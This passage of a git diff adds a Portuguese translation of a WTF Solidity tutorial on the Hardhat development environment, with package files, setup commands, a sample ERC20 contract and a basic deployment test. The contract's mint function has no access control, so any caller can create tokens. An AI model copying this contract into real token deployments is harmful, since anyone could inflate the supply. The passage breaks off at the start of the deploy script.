"^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, + "yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-20.2.4.tgz", + "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "dev": true + }, + "yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "requires": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + } + }, + "yn": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true, + "peer": true + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true + } + } +} diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package.json b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package.json new file mode 100644 index 000000000..984e0ce15 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package.json @@ -0,0 +1,19 @@ +{ + "name": "tool06_hardhat", + "version": "1.0.0", + "description": "我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用),每周更新1-3讲。", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "", + "license": "ISC", + "devDependencies": { + "@nomicfoundation/hardhat-toolbox": "^2.0.0", + "hardhat": "^2.11.2" + }, + "directories": { + "test": "test" + } +} diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/readme.md b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/readme.md new file mode 100644 index 000000000..ec67dd676 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/readme.md @@ -0,0 +1,338 @@ +# WTF Solidity极简入门-工具篇6:Hardhat以太坊开发环境 + +Eu recentemente comecei a estudar solidity novamente, revisando os detalhes e escrevendo um "WTF Solidity Guia Básico" para iniciantes. Serão lançadas de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade técnica do WTF no Discord, com informações sobre como entrar no grupo do WeChat: [link](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Hardhat é o ambiente de desenvolvimento mais popular para Ethereum. Ele pode ajudar você a compilar e implantar contratos inteligentes e fornece suporte para testar e executar Solidity na rede Hardhat. Nesta aula, vamos aprender como instalar o Hardhat, escrever e compilar contratos usando o Hardhat e executar testes simples. + +## Instalando o Hardhat + +### Instalando o Node.js + +Você pode usar o nvm para instalar o Node.js + +[GitHub - nvm-sh/nvm: Node Version Manager - POSIX-compliant bash script to manage multiple active node.js versions](https://github.com/nvm-sh/nvm) + +### Instalando o Hardhat + +Abra o terminal e digite: +```shell +mkdir hardhat-demo +cd hardhat-demo +npm init -y +npm install --save-dev hardhat +``` + +### Criando um projeto Hardhat +Abra o terminal e digite: + +```shell +cd hardhat-demo +npx hardhat +``` + +Escolha a terceira opção: "Create an empty hardhat.config.js" + +```shell +👷 Welcome to Hardhat v2.9.9 👷‍ + +? What do you want to do? … + Create a JavaScript project + Create a TypeScript project +❯ Create an empty hardhat.config.js + Quit + +``` + +### Instalando plugins +```shell +npm install --save-dev @nomicfoundation/hardhat-toolbox +``` + +Adicione o plugin ao seu arquivo de configuração do hardhat `hardhat.config.js` + +```js +require("@nomicfoundation/hardhat-toolbox"); + +/** @type import('hardhat/config').HardhatUserConfig */ +module.exports = { + solidity: "0.8.9", +}; +``` + +## Escrevendo e compilando contratos +Se você já usou o Remix, ao salvar o contrato ele será compilado automaticamente. Mas no ambiente de desenvolvimento local do Hardhat, você precisa compilar o contrato manualmente. + +### Criando um diretório para contratos + +Crie um diretório chamado `contracts` e adicione o contrato ERC20 da aula 31. + +### Escrevendo o contrato +Use o contrato da aula 31 do [WTF Solidity](../31_ERC20/readme.md) + +```js +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +import "./IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // 代币总供给 + + string public name; // 名称 + string public symbol; // 符号 + + uint8 public decimals = 18; // 小数位数 + + // @dev 在合约部署的时候实现合约名称和符号 + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev 实现`transfer`函数,代币转账逻辑 + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev 实现 `approve` 函数, 代币授权逻辑 + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev 实现`transferFrom`函数,代币授权转账逻辑 + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev 铸造代币,从 `0` 地址转账给 调用者地址 + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev 销毁代币,从 调用者地址 转账给 `0` 地址 + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} + +``` + +### Compilando o contrato +```shell +npx hardhat compile +``` + +Se você vir a seguinte saída, significa que o contrato foi compilado com sucesso: + +```shell +Compiling 2 Solidity files successfully +``` + +Após a compilação, você verá a pasta `artifacts` no diretório, que contém os arquivos `json` resultantes da compilação. + +## Escrevendo testes unitários + +Os testes unitários são muito simples e apenas verificam se o contrato foi implantado corretamente (se o endereço do contrato é válido). + +Crie uma pasta chamada `test` e dentro dela crie um arquivo chamado `test.js`. Nos testes unitários, usaremos as bibliotecas `chai` e `ethers.js`, que são usadas para testar e interagir com a blockchain, respectivamente. Se você não está familiarizado com o `ethers.js`, pode dar uma olhada nas primeiras 6 aulas do [WTF Ethers Tutorial](https://github.com/WTFAcademy/WTF-Ethers). Nos próximos tutoriais, vamos explorar mais detalhes sobre o `chai` e o `mocha`. + +```js +const { expect } = require('chai'); +const { ethers } = require('hardhat'); + + +describe("Teste do contrato ERC20", ()=>{ + it("Implantação do contrato", async () => { + // ethers.getSigners, representa as contas eth + // ethers é uma função global que pode ser chamada diretamente + const [owner, addr1, addr2] = await ethers.getSigners(); + // O ContractFactory em ethers.js é usado para implantar novos contratos inteligentes, então aqui o Token é a fábrica de instâncias do contrato de token. ERC20 representa o arquivo ERC20.sol na pasta contracts + const Token = await ethers.getContractFactory("ERC20"); + // Implantação do contrato, passando os argumentos do construtor do ERC20.sol, que são name e symbol, ambos chamados de WTF + const hardhatToken = await Token.deploy("WTF", "WTF"); + // Obtendo o endereço do contrato + const ContractAddress = await hardhatToken.address; + expect(ContractAddress).to.properAddress; + }); +}) +``` + +## Executando os testes + +No terminal, digite o seguinte comando para executar os testes: + +```shell +npx hardhat test +# Se você tiver vários arquivos de teste e quiser executar um arquivo específico, use +npx mocha test/test.js +``` + +Se você vir a seguinte saída, significa que os testes foram executados com sucesso. + +```shell + Teste do contrato ERC20 + ✔ Implantação do contrato (1648ms) + + + 1 passing (2s) +``` + +## Implantação do contrato + +No Remix, basta clicar em "deploy" para implantar o contrato. Mas no Hardhat local, precisamos escrever um script de implantação. + +Crie uma pasta chamada `scripts` e escreva um script de implantação do contrato. Em seguida, crie um arquivo chamado `deploy.js` dentro dessa pasta. + +Digite o seguinte código: + +```js +// Podemos executar o script desejado usando npx hardhat run